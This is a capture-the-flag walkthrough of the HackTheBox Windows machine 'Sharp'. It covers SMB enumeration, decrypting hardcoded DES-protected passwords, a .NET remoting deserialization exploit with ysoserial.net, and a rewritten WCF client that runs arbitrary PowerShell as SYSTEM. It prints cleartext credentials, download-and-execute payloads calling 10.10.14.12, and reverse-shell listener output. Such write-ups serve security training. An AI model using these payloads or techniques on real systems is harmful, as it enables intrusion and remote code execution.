Box

Sharp is a hard windows box by cube0x0.

Overview

Sharp was a particularly interesting experience for me, as it was my first HackTheBox machine done entirely on windows (running FireEye’s Commando-VM).

The box starts with SMB-enumeration, where can access a SMB-share that contains the source-code of a Kanban-board application. Reversing the application reveals that it stores the users password using the DES-encryption algorithm. Using the found key and IV, we can decrypt the stored passwords. Using the decrypted password we can now access a new SMB-share that contains two applications and a library. Decompiling and analyzing the source code, we find that the .NET application uses .NET remoting, which is vulnerable to a deserialization attack. Using this attack, we gain remote-code execution on the system and can read user.txt.

In order to get root, we enumerate the system, which reveals that the previously exploited application is now running via WCF instead of .NET remoting. Reading the source-code, we find a function that allows us to arbitrarily run PowerShell-commands. Re-writing the client, we get code-execution as nt authority\system and can read root.txt.

Information Gathering

Nmap

We begin our enumeration with a nmap scan for open ports.

PS C:\> nmap -p- -sC -sV 10.10.10.219
Nmap scan report for 10.10.10.219
Host is up (0.068s latency).
Not shown: 65529 filtered ports
PORT     STATE SERVICE              VERSION
135/tcp  open  msrpc                Microsoft Windows RPC
139/tcp  open  netbios-ssn          Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
5985/tcp open  http                 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8888/tcp open  msexchange-logcopier Microsoft Exchange 2010 log copier
8889/tcp open  mc-nmf               .NET Message Framing
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Enumeration

We have a lot of open ports. The most interesting on being 445 (smb) and both 8888 (???) and 8889 (???). Let us start our enumeration with SMB.

SMB - Port 445

Let us start by enumerating the SMB-shares. For this we normally would use net view, however we get permission denied errors (we need to use a null-session here).

PS> net view \\10.10.10.219
System error 5 has occurred.

Access is denied.

After some research I have found a workaround for this:

CMD> net use \\10.10.10.219\IPC$ "" /user:
The command completed successfully.
CMD> net view \\10.10.10.219
Shared resources at \\10.10.10.219

Share name  Type  Used as  Comment
-------------------------------------------------------------------------------
dev         Disk
kanban      Disk
The command completed successfully.

We can achieve the same result, using external tools like smbmap.

PS> smbmap.py -H 10.10.10.219 --no-color
[+] IP: 10.10.10.219:445        Name: 10.10.10.219              Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        dev                                                     NO ACCESS
        IPC$                                                    NO ACCESS       Remote IPC
        kanban                                                  READ ONLY

There are two interesting shares: dev and kanban. Currently (as an anonymous-user), we only have access to the kanban share. Let us access the share and see what files are there.

We can now mount the smb-share using net use and access it’s files:

CMD> net use S: \\10.10.10.219\kanban
The command completed successfully.
CMD> net use
New connections will be remembered.


Status       Local     Remote                    Network

-------------------------------------------------------------------------------
OK           S:        \\10.10.10.219\kanban     Microsoft Windows Network
OK                     \\10.10.10.219\IPC$       Microsoft Windows Network
The command completed successfully.

The share is now successfully mounted to our system at the local network-location S.

SMB-Share mounted locally

We can now access the kanban-share via our local network-location S.

Listing the kanban-share

Seems like we have an application called PortableKanban at this location. The application has a lot of .dll (dynamic-link library) files, which may hold valuable information. We can either use dnsSpy or dotPeek to analyze this files.

PortableKanban analysis

Let us start to analyze the application by loading it’s .exe and some .dll files into the decompiler.

Decompiling using dnsSpy

Let us start our enumeration by loading some of the files into dnsSpy.

Loading files

The two files I thought to be the most interesting to begin with are PortableKanban.exe and PortableKanban.Data.dll. Let us start by expanding the .dll file to see all it’s classes.

Data-dll classes

Looking at all the classes the most interesting ones are: Crypto and User. The user class could hold credentials, so let check out this class next.

User class

The user class holds many different members, however the most interesting is the Password member. Looking at the Member’s Property, we can see that the Getter Property uses Crypto.Decrypt, to get the clear-text version of the EncryptedPassword. Let us check out the Crypto-Class next to find out how they decrypt the password.

Crypto class

Seems like the Decrypt function uses the DES (Data Encryption Standard) for encryption with 7ly6UznJ as the KEY and XuVUm5fR as the IV. Using this information we can decrypt the encrypted password. Next, let us find the encrypted password. Looking at the folder-structure, we have a PortableKanban.pk3, PortableKanban.pk3.bak and PortableKanban.pk3.md5.

This file seems interesting, so let us take a look at it:

{
    "Columns": [...
    ],
    "Tasks": [...
    ],
    "TimeTracks": [],
    "Persons": [],
    "Topics": [],
    "Tags": [],
    "Views": [],
    "Users": [
        {
            "Id": "e8e29158d70d44b1a1ba4949d52790a0",
            "Name": "Administrator",
            "Initials": "",
            "Email": "",
            "EncryptedPassword": "k+iUoOvQYG98PuhhRC7/rg==",
            "Role": "Admin",
            "Inactive": false,
            "TimeStamp": 637409769245503731
        },
        {
            "Id": "0628ae1de5234b81ae65c246dd2b4a21",
            "Name": "lars",
            "Initials": "",
            "Email": "",
            "EncryptedPassword": "Ua3LyPFM175GN8D3+tqwLA==",
            "Role": "User",
            "Inactive": false,
            "TimeStamp": 637409769265925613
        }
    ],
    "ServiceMessages": [],
    "CustomFieldDescriptors": [],
    "MetaData": {...}
}   

The PortableKanban.pk3 seem to hold our EncryptedPasswords: Administrator:k+iUoOvQYG98PuhhRC7/rg== and lars:Ua3LyPFM175GN8D3+tqwLA==.

Decrypting Password

We can now decrypt the passwords using the previously found KEY and IV. For decryption I am going to use CyberChef.

CyberChef recipe

We successfully decrypt the two passwords using the above shown recipe: G2@$btRSHJYTarg and G123HHrth234gRG.

Accessing dev smb-share

Let us test the credentials we found with our user lars and try to access the previously found dev share.

First, let us delete our anonymous access to the shares.

CMD> net use S: /delete
S: was deleted successfully.

CMD> net use \\10.10.10.219\IPC$ /delete
\\10.10.10.219\IPC$ was deleted successfully.

Next, let us create a new binding with the user`s password:

CMD> net use \\10.10.10.219\IPC$ /user:lars "G123HHrth234gRG"
The command completed successfully.

Seems like we successfully connected to the share, let us now try to mount the dev share.

CMD> net use S: \\10.10.10.219\dev
The command completed successfully.

CMD> net use
New connections will be remembered.

Status       Local     Remote                    Network
-------------------------------------------------------------------------------
OK           S:        \\10.10.10.219\dev        Microsoft Windows Network
OK                     \\10.10.10.219\IPC$       Microsoft Windows Network
The command completed successfully.

The share is now successfully mounted to our system at the local network-location S.

Dev share successfully mounted

We can now access the dev-share via our local network-location S.

Listing dev share

We again have two .exe files and a .dll we can analyze, as well a as a notes.txt file. Let us check out the note first.

PS S:\ > type .\notes.txt
Todo:
    Migrate from .Net remoting to WCF
    Add input validation

Hmmm… Seems like the mentioned Todos have something to do with security.

Decompiling the application with dnsSpy

Let us open the files in dnsSpy to analyze them.

Loaded assemblies

Let us start with analyzing the server and then continue with the library and finally the client.

Server class

If we look at the source code of the server, we can derive some information. We can see that the server is running on port 8888 (which we already saw in our NMAP-scan!), it registers a service of the class Remoting and names the service-endpoint SecretSharpDebugApplicationEndpoint. What is also worth noting are the loaded classes: System.Runtime.Remoting, …

Next, let us look at the library files:

Remoting library class

Interestingly, the Remoting class does not contain any source-code.

Finally, let us look at the client:

Client class

The client initiates a connection to the endpoint using these credentials: debug:SharpApplicationDebugUserPassword123!. Let us start researching for an exploit.

Researching for exploits

After some google-searches, I eventually came across several interesting articles:

Using the listed articles from above, we can get a good understanding on how to exploit our scenario and get RCE on the server.

User shell - Exploiting .NET remoting

In order to exploit the vulnerability, we have to do following steps:

  1. Compile the POC-exploit on our machine
  2. Generate serialization payload using ysoserial.net
  3. Use POC-exploit to send payload to server
  4. Listen for reverse-shell

Let us start by compiling the exploit.

Compiling the exploit

In order to compile the exploit, I am going to use Visual Studio 2019. First, let us download the POC and open it in VS.

Loaded solution into VS

After loading the solution, we can build the solution using the Build tab.

Building the solution

Checking the Output-log, we can see that the solution successfully compiled.

Successfully compiled

We can now access the binary at: bin\Release\ExploitRemotingService.exe.

Serialization payload generation

Next, let us generate the serialization payload using ysoserial.net. As mentioned in the third article we can use following command to create a payload:

PS> ysoserial.exe o base64 g TypeConfuseDelegate f BinaryFormatter c "<COMMAND>"

Let us use nishang’s Invoke-PowerShellTcp.ps1 to get a reverse-shell. On the Commando VM the file is located at: C:\Tools\nishang\Shells\. Let us copy the reverse-shell to our folder and change it so it immediately executes the reverse-shell.

PS> copy "C:\Tools\nishang\Shells\Invoke-PowerShellTcp.ps1" rev.ps1

Now we add this line to the end of the file:

function Invoke-PowerShellTcp
{...
}
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.12 -Port 443

Now we can generate a payload for the server to download our reverse-shell and execute it.

PS> ysoserial.exe -o base64 -g TypeConfuseDelegate -f BinaryFormatter -c 'powershell -c IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.12/rev.ps1")'
<BASE64-ENCODED PAYLOAD>

For some reason, this payload never succeeded, so I changed it to:

PS> ysoserial.exe -o base64 -g TypeConfuseDelegate -f BinaryFormatter -c 'powershell -c mkdir C:\temp; wget 10.10.14.12/rev.ps1 -o C:\temp\rev.ps1; C:\temp\rev.ps1'

Which does the same thing, but this time saves the script to disk.

Running the .NET remoting exploit

We can now run the exploit to get the usage-information.

PS> .\ExploitRemotingService.exe
Must specify a URI and command
ExploitRemotingService [options] uri command [command args]
Copyright (c) James Forshaw 2014

Uri:
The supported URI are as follows:
tcp://host:port/ObjName   - TCP connection on host and portname
ipc://channel/ObjName     - Named pipe channel

Options:

  -s, --secure               Enable secure mode
  -p, --port=VALUE           Specify the local TCP port to listen on
  -i, --ipc=VALUE            Specify listening pipe name for IPC channel
      --user=VALUE           Specify username for secure mode
      --pass=VALUE           Specify password for secure mode
      --ver=VALUE            Specify version number for remote, 2 or 4
      --usecom               Use DCOM backchannel instead of .NET remoting
      --remname=VALUE        Specify the remote object name to register
  -v, --verbose              Enable verbose debug output
      --useser               Uses old serialization tricks, only works on
                               full type filter services
      --uselease             Uses new serialization tricks by abusing lease
                               mechanism.
      --nulluri              Dont send the URI header to the server
      --autodir              When useser is specified try and automatically
                               work out the installdir parameter from the
                               servers current directory.
      --installdir=VALUE     Specify the install directory of the service
                               executable to enable full support with useser
      --path=VALUE           Specify an output path to write the request data
                               rather than to a channel.
  -h, -?, --help

Commands:
exec [-wait] program [cmdline]: Execute a process on the hosting server
cmd  cmdline                  : Execute a command line process and display stdout
put  localfile remotefile     : Upload a file to the hosting server
get  remotefile localfile     : Download a file from the hosting server
ls   remotedir                : List a remote directory
run  file [args]              : Upload and execute an assembly, calls entry point
user                          : Print the current username
ver                           : Print the OS version
raw base64_object|file        : Send a raw serialized object to the service.

In order to send our payload we have to specify following options:

  • Connection URI (tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint)
  • Secure Mode (-s)
  • User (--user=debug)
  • Password (--pass="SharpApplicationDebugUserPassword123!")
  • Command (raw) … Send raw serialized object to the service
  • Payload (<BASE64-ENCODED PAYLOAD>)

This results into following command:

PS> .\ExploitRemotingService.exe -s --user=debug --pass="SharpApplicationDebugUserPassword123!" tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint raw <BASE64-ENCODED PAYLOAD>

System.InvalidCastException: Unable to cast object of type 'System.Collections.Generic.SortedSet`1[System.String]' to type 'System.Runtime.Remoting.Messaging.IMessage'.
   at System.Runtime.Remoting.Channels.CoreChannel.DeserializeBinaryRequestMessage(String objectUri, Stream inputStream, Boolean bStrictBinding, TypeFilterLevel securityLevel)
   at System.Runtime.Remoting.Channels.BinaryServerFormatterSink.ProcessMessage(IServerChannelSinkStack sinkStack, IMessage requestMsg, ITransportHeaders requestHeaders, Stream requestStream, IMessage& responseMsg, ITransportHeaders& responseHeaders, Stream& responseStream)

We do get an exception upon execution, however checking on our http and nc-listener, our payload was still executed.

PS> python -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.10.219 - - [16/Mar/2021 16:38:53] "GET /rev.ps1 HTTP/1.1" 200 -

Now finally let us start our listener.

PS> nc64.exe -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.219] 49674
Windows PowerShell running as user lars on SHARP
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>

We successfully get a shell as lars and can now read user.txt.

PS C:\Users\lars\Desktop> type user.txt
1a211***************************

Privesc - Root

Now that we have user, let us enumerate the system to find a privesc-vector to admin or nt authority\system.

Enumeration as lars

Let us start our enumeration by looking at the users home-directory.

PS C:\Users\lars\Documents> dir

    Directory: C:\Users\lars\Documents

Mode                LastWriteTime         Length Name                                                     
----                -------------         ------ ----                                                     
d-----       11/15/2020   1:40 PM                wcf

PS C:\Users\lars\Documents\wcf> dir


    Directory: C:\Users\lars\Documents\wcf


Mode                LastWriteTime         Length Name                                                     
----                -------------         ------ ----                                                     
d-----       11/15/2020   1:40 PM                .vs                                                      
d-----       11/15/2020   1:40 PM                Client                                                   
d-----       11/15/2020   1:40 PM                packages                                                 
d-----       11/15/2020   1:40 PM                RemotingLibrary                                          
d-----       11/15/2020   1:41 PM                Server                                                   
-a----       11/15/2020  12:47 PM           2095 wcf.sln

Seems like we have another application in the users Documents folder. Let us archive the folder and copy it to the smb-share, so we can access it.

PS C:\dev> Compress-Archive -Path C:\Users\Lars\Documents\wcf\ -DestinationPath .\wcf.zip

Now we can extract the archive from smb to our machine:

PS S:\ > Expand-Archive -Path S:\wcf.zip -DestinationPath C:\Users\User\source\repos\
PS C:\Users\User\source\repos\wcf > dir


    Directory: C:\Users\User\source\repos\wcf


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       16.03.2021     17:30                .vs
d-----       16.03.2021     17:30                Client
d-----       16.03.2021     17:30                packages
d-----       16.03.2021     17:31                RemotingLibrary
d-----       16.03.2021     17:31                Server
-a----       15.11.2020     12:47           2095 wcf.sln

Analyzing the wcf application

Let us open the solution in VS to analyze it.

Loaded solution

Same as the first application, we again have a Server, RemotingLibrary and Client. Let us start by analyzing the server, then the library and finally the client.

Server - WcfService

Let us split the server code in each individual part to ease analysis. Let us start by analyzing the imports. We can see that the application uses the RemotingSample library, which we are going to analyze next.

using RemotingSample;
using System;
using System.Net.Security;
using System.ServiceModel;
using System.ServiceProcess;

namespace Server
{
    ...
}

Let us look at the class next.

public class WcfService : ServiceBase
{
        public ServiceHost serviceHost = null;

        public WcfService()
        {
            ServiceName = "WCFService";
        }

        public static void Main()
        {
            ServiceBase.Run(new WcfService());
        }

        protected override void OnStart(string[] args)
        {
			...
        }

        protected override void OnStop()
        {
            if (serviceHost != null)
            {
                serviceHost.Close();
                serviceHost = null;
            }
        }
    }
}

The WcfService class inherits from the ServiceBase class. The name of the service is WCFService and the Main method simply results into invocation of the OnStart method. The OnStop method terminates the service. Finally, let us take a closer look at the OnStart method: (Methods added for explanation)

protected override void OnStart(string[] args)
{
    	// Terminate previously running host
		if (serviceHost != null)
        {
        	serviceHost.Close();
		}

    	// Server is running on port 8889 endpoint-name: wcf/NewSecretWcfEndpoint
    	Uri baseAddress = new Uri("net.tcp://0.0.0.0:8889/wcf/NewSecretWcfEndpoint");
        serviceHost = new ServiceHost(typeof(Remoting), baseAddress);
        NetTcpBinding binding = new NetTcpBinding();
        binding.Security.Mode = SecurityMode.Transport;
        binding.Security.Transport.ClientCredentialType = TcpClientCredentialType.Windows; // Use windows-authentication
        binding.Security.Transport.ProtectionLevel      = ProtectionLevel.EncryptAndSign;
        binding.Security.Message.ClientCredentialType   = MessageCredentialType.Windows;

       try
       {
            // Start server on endpoint
			serviceHost.AddServiceEndpoint(typeof(IWcfService), binding, baseAddress);
            serviceHost.Open();
       }
       catch (CommunicationException ce)
       {
       		serviceHost.Abort();
       }
}

The OnStart method registers and starts the WCF-service on port 8889 with the endpoint-name ` wcf/NewSecretWcfEndpoint`. The server uses windows-authentication, which means in order to not have any problems with authentication we have to interact with the service from the server and not our machine (not Port-tunneling).

Let us take a look at the RemotingLibrary next.

RemotingLibrary

Let us again split the code in each individual part to ease analysis. We can skip the IWcfService Interface, as it simply defines which methods are to be implemented. The RemotingMethods class is also not interesting, as it simply defines the method, but throwing NotImplementedExceptions for each method. Finally let us take a look at the Remoting class, which implements the IWcfService interface. There are a lot of functions defined, however the one that sounds the most interesting is the InvokePowershell function. Let us take a look at this function

 public class Remoting : IWcfService
    {
 public class Remoting : IWcfService
    {
        public string GetDiskInfo()...

        public string GetCpuInfo()...

        public string GetRamInfo()...

        public string GetUsers()...

        public string InvokePowerShell(string scriptText)
        {
            Runspace runspace = RunspaceFactory.CreateRunspace();
            runspace.Open();
            Pipeline pipeline = runspace.CreatePipeline();
            pipeline.Commands.AddScript(scriptText);
            pipeline.Commands.Add("Out-String");
            Collection <PSObject> results = pipeline.Invoke();
            runspace.Close();
            StringBuilder stringBuilder = new StringBuilder();
            foreach (PSObject obj in results)
            {
                stringBuilder.AppendLine(obj.ToString());
            }
            return stringBuilder.ToString();
        }
    }

The InvokePowerShell function executes an inputted string of PowerShell-commands and returns the output of the command. We have found our privesc-vector! Now we simply have to write a client to execute our PowerShell-commands.

Client

The client only has one method Main defined:

using RemotingSample;
using System;
using System.ServiceModel;

namespace Client {

    public class Client
    {
        public static void Main() {
            ChannelFactory<IWcfService> channelFactory = new ChannelFactory<IWcfService>(
                new NetTcpBinding(SecurityMode.Transport),"net.tcp://localhost:8889/wcf/NewSecretWcfEndpoint"
            );
            IWcfService client = channelFactory.CreateChannel();
            Console.WriteLine(client.GetDiskInfo());
            Console.WriteLine(client.GetCpuInfo());
            Console.WriteLine(client.GetRamInfo());
        }
    }
}

The client run’s three of the five defined RemotingMethods, skipping GetUsers and InvokePowerShell. Let us modify the Main-method so we get code-execuction:

public static void Main()
{
    IWcfService client; // Define client

    try
    {
        Console.WriteLine("[*] Initiating connection to endpoint...");
        // Try to establish connection to service (Unmodified)
        ChannelFactory<IWcfService> channelFactory = new ChannelFactory<IWcfService>(
            new NetTcpBinding(SecurityMode.Transport), "net.tcp://localhost:8889/wcf/NewSecretWcfEndpoint"
        );
        client = channelFactory.CreateChannel();
    }
    catch (Exception ex)
    {
        Console.WriteLine("[-] Exception occurred: " + ex.Message);
        return; // Exit on error
    }

    /*
        * Exploit added: (Execute commands via PowerShell)
        */

    if (client == null)
    {
        Console.WriteLine("[-] No connection could be established!");
        return; // Quit if no connection available
    }

    Console.WriteLine("[+] Connection successfully established!");

    bool loop = true;
    string cmd;

    // Endlessly execute commands
    while (loop)
    {
        Console.Write("PS> ");
        cmd = Console.ReadLine();
        if (cmd.Contains("exit") || cmd.Contains("quit"))
            loop = false; // Exit
        else
        {
            try
            {
                // Execute command
                Console.WriteLine(client.InvokePowerShell(cmd));
            }
            catch (Exception ex)
            {
                Console.WriteLine("Exception occurred during execution of command! Error:\n" + ex.Message);
                // Restart application or errors, because connection may be faulted upon errors
                Main();
            }
        }
    }
}

Now that we have modified the client, let us compile the client and upload it to the server.

Client build

We successfully compiled the client and can now upload it the server. For this we simply start a web-server and download the client from the server.

PS C:\Users\User\source\repos\wcf\Client\bin > Compress-Archive -Path .\Release\ -DestinationPath client.zip
PS C:\Users\lars\Documents\wcf\Client\bin\Release> 
PS C:\temp> wget 10.10.14.12/client.zip -o client.zip
PS C:\temp> Expand-Archive -Path .\client.zip -DestinationPath .
PS C:\Users\User\source\repos\wcf\Client\bin\Release > python -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.10.219 - - [16/Mar/2021 17:34:52] "GET /WcfClient.exe HTTP/1.1" 200 -
::ffff:10.10.10.219 - - [16/Mar/2021 17:36:34] "GET /WcfRemotingLibrary.dll HTTP/1.1" 200 -

We successfully download the client and the required dll. Now we can execute the client.

PS C:\temp> .\client.exe
PS> whoami
nt authority\system

We successfully get code-execution as nt authority\system and can now read root.txt.

PS C:\temp> .\client.exe
PS> type C:\Users\Administrator\Desktop\root.txt
6a64f***************************